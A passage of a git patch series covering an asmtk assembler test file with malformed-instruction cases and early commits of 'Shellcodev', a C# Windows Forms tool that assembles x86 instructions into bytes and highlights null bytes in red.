eax, ecx"), + X86_FAIL(0x0000000000000000, "lock add eax, [ecx]"), + X86_FAIL(0x0000000000000000, "lock movd mm0, eax"), + X86_FAIL(0x0000000000000000, "lock lock add [eax], ecx"), + X86_FAIL(0x0000000000000000, "xacquire add [eax], ecx"), + X86_FAIL(0x0000000000000000, "xrelease add [eax], ecx"), + X86_FAIL(0x0000000000000000, "lock xacquire xrelease add [eax], ecx"), + + // 64-bit malformed input - should cause either parsing or validation error. + X64_FAIL(0x0000000000001000, "short jmp 0x2000"), + X64_FAIL(0x0000000000000000, "mov al,-129"), + X64_FAIL(0x0000000000000000, "mov al, 256"), + X64_FAIL(0x0000000000000000, "mov ax,-32769"), + X64_FAIL(0x0000000000000000, "mov ax, 65536"), + X64_FAIL(0x0000000000000000, "mov eax,-2147483649"), + X64_FAIL(0x0000000000000000, "mov eax, 4294967296"), + X64_FAIL(0x0000000000000000, "mov [rax], 1"), + X64_FAIL(0x0000000000000000, "movzx r15d, ah"), + X64_FAIL(0x0000000000000000, "neg [eax]"), + X64_FAIL(0x0000000000000000, "rex neg ah"), + X64_FAIL(0x0000000000000000, "shr eax, 256"), + X64_FAIL(0x0000000000000000, "shr rax, 256"), + X64_FAIL(0x0000000000000000, "lfs al, [rcx]"), + X64_FAIL(0x0000000000000000, "lock add rax, rcx"), + X64_FAIL(0x0000000000000000, "lock add rax, [rcx]"), + X64_FAIL(0x0000000000000000, "lock movd mm0, eax"), + X64_FAIL(0x0000000000000000, "lock lock add [rax], rcx"), + X64_FAIL(0x0000000000000000, "xacquire add [rax], rcx"), + X64_FAIL(0x0000000000000000, "xrelease add [rax], rcx"), + X64_FAIL(0x0000000000000000, "lock xacquire xrelease add [rax], rcx"), + X64_FAIL(0x0000000000000000, "vpgatherdd xmm0, [rip + xmm1], xmm2") +}; + +struct TestStats { + uint32_t passed; + uint32_t failed; + uint32_t total; +}; + +static void dumpHex(const char* s, size_t count) { + for (size_t i = 0; i < count; i++) + printf("%02X", static_cast(static_cast(s[i]))); +} + +static bool runTests(TestStats& out, const TestEntry* entries, size_t count) { + out.passed = 0; + out.failed = 0; + out.total = static_cast(count); + + for (size_t i = 0; i < count; i++) { + const TestEntry& entry = entries[i]; + const char* arch = entry.archType == ArchInfo::kTypeX86 ? "X86" : "X64"; + + // Initialize CodeInfo with proper architecture and base-address. + CodeInfo ci; + ci.init(entry.archType, 0, entry.baseAddress); + + // Initialize CodeHolder. + CodeHolder code; + Error err = code.init(ci); + + if (err) { + printf("[FAILURE] CodeHolder.init(): %s\n", DebugUtils::errorAsString(err)); + + out.failed++; + continue; + } + + X86Assembler a(&code); + err = AsmParser(&a).parse(entry.asmString, entry.asmLength); + + // Sync Assembler with CodeHolder. + code.sync(); + + if (err) { + if (!entry.mustPass) { + printf("[Success %s] '%s' -> '%s' (EXPECTED)\n", arch, entry.asmString, DebugUtils::errorAsString(err)); + out.passed++; + } + else { + printf("[FAILURE %s] '%s' -> '%s'\n", arch, entry.asmString, DebugUtils::errorAsString(err)); + out.failed++; + } + } + else { + CodeBuffer& buf = code.getSectionEntry(0)->getBuffer(); + + if (entry.mustPass && buf.getLength() == entry.mcLength && ::memcmp(buf.getData(), entry.machineCode, entry.mcLength) == 0) { + printf("[Success %s] '%s' -> '", arch, entry.asmString); + dumpHex(reinterpret_cast(buf.getData()), buf.getLength()); + printf("'\n"); + + out.passed++; + continue; + } + else { + printf("[FAILURE %s] '%s' -> '", arch, entry.asmString); + dumpHex(reinterpret_cast(buf.getData()), buf.getLength()); + printf("'"); + + if (entry.mustPass) { + printf(" (OUT)\n"); + + size_t numSpaces = 9 + ::strlen(arch) + 3 + entry.asmLength + 1; + for (size_t j = 0; j < numSpaces; j++) printf(" "); + + printf(" != '"); + dumpHex(entry.machineCode, entry.mcLength); + printf("' (EXP)\n"); + } + else { + printf(" (should have failed)\n"); + } + + out.failed++; + } + } + } + + return out.failed == 0; +} + +int main(int argc, char* argv[]) { + TestStats stats; + bool allPassed = runTests(stats, testEntries, ASMJIT_ARRAY_SIZE(testEntries)); + + if (allPassed) { + printf("All %u tests passed!\n", stats.total); + return 0; + } + else { + printf("Passed: %u out of %u\n", stats.passed, stats.total); + printf("Failed: %u out of %u\n", stats.failed, stats.total); + return 1; + } +} diff --git a/asmtk/tools/configure-unix-makefiles-dbg.sh b/asmtk/tools/configure-unix-makefiles-dbg.sh new file mode 100644 index 0000000..4f35663 --- /dev/null +++ b/asmtk/tools/configure-unix-makefiles-dbg.sh @@ -0,0 +1,12 @@ +#!/bin/sh + +CURRENT_DIR=`pwd` +BUILD_DIR="build_makefiles_dbg" + +mkdir -p ../${BUILD_DIR} +cd ../${BUILD_DIR} +cmake .. -G"Unix Makefiles" \ + -DCMAKE_BUILD_TYPE=Debug \ + -DASMJIT_DIR="../../asmjit" \ + -DASMTK_BUILD_TEST=1 +cd ${CURRENT_DIR} diff --git a/asmtk/tools/configure-unix-makefiles-rel.sh b/asmtk/tools/configure-unix-makefiles-rel.sh new file mode 100644 index 0000000..9fb5218 --- /dev/null +++ b/asmtk/tools/configure-unix-makefiles-rel.sh @@ -0,0 +1,12 @@ +#!/bin/sh + +CURRENT_DIR=`pwd` +BUILD_DIR="build_makefiles_rel" + +mkdir -p ../${BUILD_DIR} +cd ../${BUILD_DIR} +cmake .. -G"Unix Makefiles" \ + -DCMAKE_BUILD_TYPE=Release \ + -DASMJIT_DIR="../../asmjit" \ + -DASMTK_BUILD_TEST=1 +cd ${CURRENT_DIR} From c965939bbf9802c835b386dda35f3adece27b919 Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 14 Oct 2021 12:52:38 +0200 Subject: [PATCH 03/64] Code cleaning --- InstructionHandler/dllmain.cpp | 2 -- Shellcodev/Core/AssemblyHandler.cs | 8 +++----- Shellcodev/Core/Instruction.cs | 11 ++++++++--- Shellcodev/Forms/Main.Designer.cs | 27 +++++++-------------------- Shellcodev/Forms/Main.cs | 24 ------------------------ 5 files changed, 18 insertions(+), 54 deletions(-) diff --git a/InstructionHandler/dllmain.cpp b/InstructionHandler/dllmain.cpp index 953742b..a69be36 100644 --- a/InstructionHandler/dllmain.cpp +++ b/InstructionHandler/dllmain.cpp @@ -1,9 +1,7 @@ -// dllmain.cpp : Defines the entry point for the DLL application. #define _CRT_SECURE_NO_WARNINGS #include "ihandler.h" #include #include -#include using namespace asmjit; using namespace asmtk; diff --git a/Shellcodev/Core/AssemblyHandler.cs b/Shellcodev/Core/AssemblyHandler.cs index 82c3116..f55d77f 100644 --- a/Shellcodev/Core/AssemblyHandler.cs +++ b/Shellcodev/Core/AssemblyHandler.cs @@ -1,9 +1,5 @@ using System; -using System.Collections.Generic; -using System.Linq; using System.Runtime.InteropServices; -using System.Text; -using System.Threading.Tasks; namespace Shellcodev { @@ -19,11 +15,13 @@ public string Assembler(string instructions) { IntPtr pointer = API.AssembleInstructions(instructions); string bytes = Marshal.PtrToStringAnsi(pointer); + //TODO: Add error checker + //Starting from 0, place space every second byte string temp = null; for(int i = 0; i < bytes.Length; i++) { - if(i % 2 != 0) //Starting from 0, place space every second byte + if(i % 2 != 0) temp += bytes[i] + " "; else temp += bytes[i]; diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 8e2a34d..9da1cdb 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -1,5 +1,4 @@ -using System.Runtime.InteropServices; -using System.Windows.Forms; +using System.Windows.Forms; namespace Shellcodev { @@ -8,6 +7,8 @@ public class InstrctuionValidator //Validate instructions public bool ValidateInstruction() { + //TODO + //Make instruction validator //string[] split = instructionTxt.Text.Split(new string[] { ",", " "}, StringSplitOptions.None); //split = split.Where(x => !string.IsNullOrEmpty(x)).ToArray(); //Remove empty values from array if someused comma and space @@ -34,7 +35,11 @@ public Instruction(string instruction) AssemblyHandler handler = new AssemblyHandler(); string bytes = handler.Assembler(instruction); - main.bytesBox.AppendText(bytes); + var box = main.bytesBox; + box.AppendText(bytes); + + //TODO + //If there are null bytes, make their color red } } } diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index c458490..1daba9c 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -30,13 +30,12 @@ private void InitializeComponent() { this.instructionTxt = new System.Windows.Forms.TextBox(); this.instructionGrid = new System.Windows.Forms.DataGridView(); + this.Instructions = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.addinstructionBtn = new System.Windows.Forms.Button(); this.genBtn = new System.Windows.Forms.Button(); this.radioC = new System.Windows.Forms.RadioButton(); this.radioCS = new System.Windows.Forms.RadioButton(); - this.makeBtn = new System.Windows.Forms.Button(); this.bytesBox = new System.Windows.Forms.RichTextBox(); - this.Instructions = new System.Windows.Forms.DataGridViewTextBoxColumn(); ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); this.SuspendLayout(); // @@ -58,6 +57,12 @@ private void InitializeComponent() this.instructionGrid.Size = new System.Drawing.Size(343, 341); this.instructionGrid.TabIndex = 1; // + // Instructions + // + this.Instructions.HeaderText = "Instruction"; + this.Instructions.Name = "Instructions"; + this.Instructions.Width = 300; + // // addinstructionBtn // this.addinstructionBtn.Location = new System.Drawing.Point(292, 388); @@ -99,16 +104,6 @@ private void InitializeComponent() this.radioCS.Text = "C# Format"; this.radioCS.UseVisualStyleBackColor = true; // - // makeBtn - // - this.makeBtn.Location = new System.Drawing.Point(636, 133); - this.makeBtn.Name = "makeBtn"; - this.makeBtn.Size = new System.Drawing.Size(75, 23); - this.makeBtn.TabIndex = 2; - this.makeBtn.Text = "Make"; - this.makeBtn.UseVisualStyleBackColor = true; - this.makeBtn.Click += new System.EventHandler(this.makeBtn_Click); - // // bytesBox // this.bytesBox.Location = new System.Drawing.Point(498, 27); @@ -117,12 +112,6 @@ private void InitializeComponent() this.bytesBox.TabIndex = 4; this.bytesBox.Text = ""; // - // Instructions - // - this.Instructions.HeaderText = "Instruction"; - this.Instructions.Name = "Instructions"; - this.Instructions.Width = 300; - // // Main // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); @@ -132,7 +121,6 @@ private void InitializeComponent() this.Controls.Add(this.radioCS); this.Controls.Add(this.radioC); this.Controls.Add(this.genBtn); - this.Controls.Add(this.makeBtn); this.Controls.Add(this.addinstructionBtn); this.Controls.Add(this.instructionGrid); this.Controls.Add(this.instructionTxt); @@ -152,7 +140,6 @@ private void InitializeComponent() private System.Windows.Forms.RadioButton radioC; private System.Windows.Forms.RadioButton radioCS; public System.Windows.Forms.DataGridView instructionGrid; - private System.Windows.Forms.Button makeBtn; public System.Windows.Forms.RichTextBox bytesBox; private System.Windows.Forms.DataGridViewTextBoxColumn Instructions; } diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 3fa1359..8653cd3 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -1,6 +1,4 @@ using System; -using System.Data; -using System.Linq; using System.Windows.Forms; namespace Shellcodev @@ -27,28 +25,6 @@ private void addinstructionBtn_Click(object sender, EventArgs e) new Instruction(instructionTxt.Text); } - private void makeBtn_Click(object sender, EventArgs e) - { - string inst = null; - foreach(DataGridViewRow row in instructionGrid.Rows) - { - for(int i = 0; i < row.Cells.Count; i++) - { - if (row.Cells[i].ColumnIndex == 1 && row.Cells[i + 1].Value != null) - { - inst += row.Cells[i].Value.ToString() + ", "; - } - else if (row.Cells[i].Value != null) - { - inst += row.Cells[i].Value.ToString() + " "; - } - else continue; - } - Console.WriteLine(inst); - inst = null; - } - } - private void instructionTxt_KeyDown(object sender, KeyEventArgs e) { if(e.KeyCode == Keys.Enter) From b5cb1b1a348bf0fa692ff7798225cc8b8ffb3b7e Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 14 Oct 2021 14:31:54 +0200 Subject: [PATCH 04/64] Form repair --- Shellcodev/Core/Instruction.cs | 5 +- Shellcodev/Forms/Main.Designer.cs | 114 ++++++++--------------- Shellcodev/Forms/Main.cs | 16 +++- Shellcodev/Forms/Main.resx | 5 +- Shellcodev/Main.Designer.cs | 147 ++++++++++++++++++++++++++++++ Shellcodev/Main.cs | 41 +++++++++ Shellcodev/Main.resx | 123 +++++++++++++++++++++++++ Shellcodev/Program.cs | 3 +- 8 files changed, 367 insertions(+), 87 deletions(-) create mode 100644 Shellcodev/Main.Designer.cs create mode 100644 Shellcodev/Main.cs create mode 100644 Shellcodev/Main.resx diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 9da1cdb..d4fdce1 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -1,4 +1,5 @@ -using System.Windows.Forms; +using Shellcodev.Forms; +using System.Windows.Forms; namespace Shellcodev { @@ -29,7 +30,7 @@ public Instruction(string instruction) int rows = main.instructionGrid.Rows.Add(rowId); DataGridViewRow row = main.instructionGrid.Rows[rows]; - row.Cells["Instructions"].Value = instruction; + row.Cells["Instruction"].Value = instruction; row.HeaderCell.Value = (row.Index + 1).ToString(); AssemblyHandler handler = new AssemblyHandler(); diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index 1daba9c..dd2accb 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -1,4 +1,4 @@ -namespace Shellcodev +namespace Shellcodev.Forms { partial class Main { @@ -28,104 +28,67 @@ protected override void Dispose(bool disposing) /// private void InitializeComponent() { - this.instructionTxt = new System.Windows.Forms.TextBox(); this.instructionGrid = new System.Windows.Forms.DataGridView(); - this.Instructions = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.addinstructionBtn = new System.Windows.Forms.Button(); - this.genBtn = new System.Windows.Forms.Button(); - this.radioC = new System.Windows.Forms.RadioButton(); - this.radioCS = new System.Windows.Forms.RadioButton(); + this.instructionTxt = new System.Windows.Forms.TextBox(); + this.addInstructionBtn = new System.Windows.Forms.Button(); + this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.bytesBox = new System.Windows.Forms.RichTextBox(); ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); this.SuspendLayout(); // - // instructionTxt - // - this.instructionTxt.Location = new System.Drawing.Point(24, 388); - this.instructionTxt.Name = "instructionTxt"; - this.instructionTxt.Size = new System.Drawing.Size(256, 20); - this.instructionTxt.TabIndex = 0; - this.instructionTxt.KeyDown += new System.Windows.Forms.KeyEventHandler(this.instructionTxt_KeyDown); - // // instructionGrid // this.instructionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.instructionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Instructions}); - this.instructionGrid.Location = new System.Drawing.Point(24, 27); + this.Instruction}); + this.instructionGrid.Location = new System.Drawing.Point(38, 31); this.instructionGrid.Name = "instructionGrid"; - this.instructionGrid.Size = new System.Drawing.Size(343, 341); - this.instructionGrid.TabIndex = 1; - // - // Instructions - // - this.Instructions.HeaderText = "Instruction"; - this.Instructions.Name = "Instructions"; - this.Instructions.Width = 300; + this.instructionGrid.Size = new System.Drawing.Size(343, 389); + this.instructionGrid.TabIndex = 0; // - // addinstructionBtn - // - this.addinstructionBtn.Location = new System.Drawing.Point(292, 388); - this.addinstructionBtn.Name = "addinstructionBtn"; - this.addinstructionBtn.Size = new System.Drawing.Size(75, 20); - this.addinstructionBtn.TabIndex = 2; - this.addinstructionBtn.Text = "Add"; - this.addinstructionBtn.UseVisualStyleBackColor = true; - this.addinstructionBtn.Click += new System.EventHandler(this.addinstructionBtn_Click); - // - // genBtn + // instructionTxt // - this.genBtn.Location = new System.Drawing.Point(24, 444); - this.genBtn.Name = "genBtn"; - this.genBtn.Size = new System.Drawing.Size(75, 23); - this.genBtn.TabIndex = 2; - this.genBtn.Text = "Generate"; - this.genBtn.UseVisualStyleBackColor = true; + this.instructionTxt.Location = new System.Drawing.Point(38, 436); + this.instructionTxt.Name = "instructionTxt"; + this.instructionTxt.Size = new System.Drawing.Size(239, 20); + this.instructionTxt.TabIndex = 1; + this.instructionTxt.KeyDown += new System.Windows.Forms.KeyEventHandler(this.instructionTxt_KeyDown); // - // radioC + // addInstructionBtn // - this.radioC.AutoSize = true; - this.radioC.Location = new System.Drawing.Point(105, 438); - this.radioC.Name = "radioC"; - this.radioC.Size = new System.Drawing.Size(67, 17); - this.radioC.TabIndex = 3; - this.radioC.TabStop = true; - this.radioC.Text = "C Format"; - this.radioC.UseVisualStyleBackColor = true; + this.addInstructionBtn.Location = new System.Drawing.Point(306, 436); + this.addInstructionBtn.Name = "addInstructionBtn"; + this.addInstructionBtn.Size = new System.Drawing.Size(75, 22); + this.addInstructionBtn.TabIndex = 2; + this.addInstructionBtn.Text = "Add"; + this.addInstructionBtn.UseVisualStyleBackColor = true; + this.addInstructionBtn.Click += new System.EventHandler(this.addInstructionBtn_Click); // - // radioCS + // Instruction // - this.radioCS.AutoSize = true; - this.radioCS.Location = new System.Drawing.Point(105, 458); - this.radioCS.Name = "radioCS"; - this.radioCS.Size = new System.Drawing.Size(74, 17); - this.radioCS.TabIndex = 3; - this.radioCS.TabStop = true; - this.radioCS.Text = "C# Format"; - this.radioCS.UseVisualStyleBackColor = true; + this.Instruction.HeaderText = "Instruction"; + this.Instruction.Name = "Instruction"; + this.Instruction.Width = 300; // // bytesBox // - this.bytesBox.Location = new System.Drawing.Point(498, 27); + this.bytesBox.Location = new System.Drawing.Point(549, 31); this.bytesBox.Name = "bytesBox"; - this.bytesBox.Size = new System.Drawing.Size(362, 100); - this.bytesBox.TabIndex = 4; + this.bytesBox.Size = new System.Drawing.Size(350, 96); + this.bytesBox.TabIndex = 3; this.bytesBox.Text = ""; // // Main // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(889, 490); + this.ClientSize = new System.Drawing.Size(948, 485); this.Controls.Add(this.bytesBox); - this.Controls.Add(this.radioCS); - this.Controls.Add(this.radioC); - this.Controls.Add(this.genBtn); - this.Controls.Add(this.addinstructionBtn); - this.Controls.Add(this.instructionGrid); + this.Controls.Add(this.addInstructionBtn); this.Controls.Add(this.instructionTxt); + this.Controls.Add(this.instructionGrid); this.Name = "Main"; - this.Text = "Shellcodev"; + this.Text = "Main"; ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); @@ -133,15 +96,10 @@ private void InitializeComponent() } #endregion - private System.Windows.Forms.TextBox instructionTxt; - private System.Windows.Forms.Button addinstructionBtn; - private System.Windows.Forms.Button genBtn; - private System.Windows.Forms.RadioButton radioC; - private System.Windows.Forms.RadioButton radioCS; + private System.Windows.Forms.Button addInstructionBtn; + private System.Windows.Forms.DataGridViewTextBoxColumn Instruction; public System.Windows.Forms.DataGridView instructionGrid; public System.Windows.Forms.RichTextBox bytesBox; - private System.Windows.Forms.DataGridViewTextBoxColumn Instructions; } -} - +} \ No newline at end of file diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 8653cd3..c6da303 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -1,7 +1,14 @@ using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; using System.Windows.Forms; -namespace Shellcodev +namespace Shellcodev.Forms { public partial class Main : Form { @@ -17,9 +24,9 @@ public Main() instance = this; } - private void addinstructionBtn_Click(object sender, EventArgs e) + private void addInstructionBtn_Click(object sender, EventArgs e) { - if(String.IsNullOrEmpty(instructionTxt.Text)) + if (String.IsNullOrEmpty(instructionTxt.Text)) return; new Instruction(instructionTxt.Text); @@ -29,10 +36,9 @@ private void instructionTxt_KeyDown(object sender, KeyEventArgs e) { if(e.KeyCode == Keys.Enter) { - addinstructionBtn_Click(sender, e); + addInstructionBtn_Click(sender, e); instructionTxt.SelectAll(); - //Disabling annoying bimbows ding sound on enter e.Handled = true; e.SuppressKeyPress = true; } diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx index 0a96480..eb8d8bf 100644 --- a/Shellcodev/Forms/Main.resx +++ b/Shellcodev/Forms/Main.resx @@ -117,7 +117,10 @@ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - + + True + + True \ No newline at end of file diff --git a/Shellcodev/Main.Designer.cs b/Shellcodev/Main.Designer.cs new file mode 100644 index 0000000..1daba9c --- /dev/null +++ b/Shellcodev/Main.Designer.cs @@ -0,0 +1,147 @@ +namespace Shellcodev +{ + partial class Main + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.instructionTxt = new System.Windows.Forms.TextBox(); + this.instructionGrid = new System.Windows.Forms.DataGridView(); + this.Instructions = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.addinstructionBtn = new System.Windows.Forms.Button(); + this.genBtn = new System.Windows.Forms.Button(); + this.radioC = new System.Windows.Forms.RadioButton(); + this.radioCS = new System.Windows.Forms.RadioButton(); + this.bytesBox = new System.Windows.Forms.RichTextBox(); + ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); + this.SuspendLayout(); + // + // instructionTxt + // + this.instructionTxt.Location = new System.Drawing.Point(24, 388); + this.instructionTxt.Name = "instructionTxt"; + this.instructionTxt.Size = new System.Drawing.Size(256, 20); + this.instructionTxt.TabIndex = 0; + this.instructionTxt.KeyDown += new System.Windows.Forms.KeyEventHandler(this.instructionTxt_KeyDown); + // + // instructionGrid + // + this.instructionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.instructionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Instructions}); + this.instructionGrid.Location = new System.Drawing.Point(24, 27); + this.instructionGrid.Name = "instructionGrid"; + this.instructionGrid.Size = new System.Drawing.Size(343, 341); + this.instructionGrid.TabIndex = 1; + // + // Instructions + // + this.Instructions.HeaderText = "Instruction"; + this.Instructions.Name = "Instructions"; + this.Instructions.Width = 300; + // + // addinstructionBtn + // + this.addinstructionBtn.Location = new System.Drawing.Point(292, 388); + this.addinstructionBtn.Name = "addinstructionBtn"; + this.addinstructionBtn.Size = new System.Drawing.Size(75, 20); + this.addinstructionBtn.TabIndex = 2; + this.addinstructionBtn.Text = "Add"; + this.addinstructionBtn.UseVisualStyleBackColor = true; + this.addinstructionBtn.Click += new System.EventHandler(this.addinstructionBtn_Click); + // + // genBtn + // + this.genBtn.Location = new System.Drawing.Point(24, 444); + this.genBtn.Name = "genBtn"; + this.genBtn.Size = new System.Drawing.Size(75, 23); + this.genBtn.TabIndex = 2; + this.genBtn.Text = "Generate"; + this.genBtn.UseVisualStyleBackColor = true; + // + // radioC + // + this.radioC.AutoSize = true; + this.radioC.Location = new System.Drawing.Point(105, 438); + this.radioC.Name = "radioC"; + this.radioC.Size = new System.Drawing.Size(67, 17); + this.radioC.TabIndex = 3; + this.radioC.TabStop = true; + this.radioC.Text = "C Format"; + this.radioC.UseVisualStyleBackColor = true; + // + // radioCS + // + this.radioCS.AutoSize = true; + this.radioCS.Location = new System.Drawing.Point(105, 458); + this.radioCS.Name = "radioCS"; + this.radioCS.Size = new System.Drawing.Size(74, 17); + this.radioCS.TabIndex = 3; + this.radioCS.TabStop = true; + this.radioCS.Text = "C# Format"; + this.radioCS.UseVisualStyleBackColor = true; + // + // bytesBox + // + this.bytesBox.Location = new System.Drawing.Point(498, 27); + this.bytesBox.Name = "bytesBox"; + this.bytesBox.Size = new System.Drawing.Size(362, 100); + this.bytesBox.TabIndex = 4; + this.bytesBox.Text = ""; + // + // Main + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(889, 490); + this.Controls.Add(this.bytesBox); + this.Controls.Add(this.radioCS); + this.Controls.Add(this.radioC); + this.Controls.Add(this.genBtn); + this.Controls.Add(this.addinstructionBtn); + this.Controls.Add(this.instructionGrid); + this.Controls.Add(this.instructionTxt); + this.Name = "Main"; + this.Text = "Shellcodev"; + ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox instructionTxt; + private System.Windows.Forms.Button addinstructionBtn; + private System.Windows.Forms.Button genBtn; + private System.Windows.Forms.RadioButton radioC; + private System.Windows.Forms.RadioButton radioCS; + public System.Windows.Forms.DataGridView instructionGrid; + public System.Windows.Forms.RichTextBox bytesBox; + private System.Windows.Forms.DataGridViewTextBoxColumn Instructions; + } +} + diff --git a/Shellcodev/Main.cs b/Shellcodev/Main.cs new file mode 100644 index 0000000..b13c4ae --- /dev/null +++ b/Shellcodev/Main.cs @@ -0,0 +1,41 @@ +using System; +using System.Windows.Forms; + +namespace Shellcodev +{ + public partial class Main : Form + { + private static Main instance; + public static Main ReturnInstance() + { + return instance; + } + + public Main() + { + InitializeComponent(); + instance = this; + } + + private void addinstructionBtn_Click(object sender, EventArgs e) + { + if (String.IsNullOrEmpty(instructionTxt.Text)) + return; + + new Instruction(instructionTxt.Text); + } + + private void instructionTxt_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + addinstructionBtn_Click(sender, e); + instructionTxt.SelectAll(); + + //Disabling annoying bimbows ding sound on enter + e.Handled = true; + e.SuppressKeyPress = true; + } + } + } +} diff --git a/Shellcodev/Main.resx b/Shellcodev/Main.resx new file mode 100644 index 0000000..0a96480 --- /dev/null +++ b/Shellcodev/Main.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + \ No newline at end of file diff --git a/Shellcodev/Program.cs b/Shellcodev/Program.cs index 6f93f04..db7ccb9 100644 --- a/Shellcodev/Program.cs +++ b/Shellcodev/Program.cs @@ -1,4 +1,5 @@ -using System; +using Shellcodev.Forms; +using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; From c0f4184e80e99fb94e5339968e1b09e486a26d2c Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 14 Oct 2021 19:37:44 +0200 Subject: [PATCH 05/64] Change x00 bytes color in textbox if detected --- Shellcodev/Core/Instruction.cs | 23 +++++++++++++++++++---- Shellcodev/Forms/Main.Designer.cs | 2 +- 2 files changed, 20 insertions(+), 5 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index d4fdce1..0b7fa15 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -1,4 +1,5 @@ using Shellcodev.Forms; +using System.Drawing; using System.Windows.Forms; namespace Shellcodev @@ -36,11 +37,25 @@ public Instruction(string instruction) AssemblyHandler handler = new AssemblyHandler(); string bytes = handler.Assembler(instruction); - var box = main.bytesBox; - box.AppendText(bytes); + ByteAppender(main, bytes); + } - //TODO - //If there are null bytes, make their color red + private void ByteAppender(Main main, string bytes) + { + var box = main.bytesBox; + string[] split = bytes.Split(' '); + + foreach(string line in split) + { + if (line == "00") + { + box.SelectionColor = Color.Red; + box.AppendText(line + " "); + } + else + box.AppendText(line + " "); + } + box.AppendText("\n"); } } } diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index dd2accb..e54573a 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -74,7 +74,7 @@ private void InitializeComponent() // this.bytesBox.Location = new System.Drawing.Point(549, 31); this.bytesBox.Name = "bytesBox"; - this.bytesBox.Size = new System.Drawing.Size(350, 96); + this.bytesBox.Size = new System.Drawing.Size(350, 204); this.bytesBox.TabIndex = 3; this.bytesBox.Text = ""; // From cb4d8b0b7570d1e45c5d46a53552e817a338ea41 Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 14 Oct 2021 21:04:20 +0200 Subject: [PATCH 06/64] On DataGridView select, change corresponding textbox color line --- Shellcodev/Forms/Main.Designer.cs | 1 + Shellcodev/Forms/Main.cs | 38 +++++++++++++++++++++++++++++++ 2 files changed, 39 insertions(+) diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index e54573a..5f3772b 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -45,6 +45,7 @@ private void InitializeComponent() this.instructionGrid.Name = "instructionGrid"; this.instructionGrid.Size = new System.Drawing.Size(343, 389); this.instructionGrid.TabIndex = 0; + this.instructionGrid.SelectionChanged += new System.EventHandler(this.instructionGrid_SelectionChanged); // 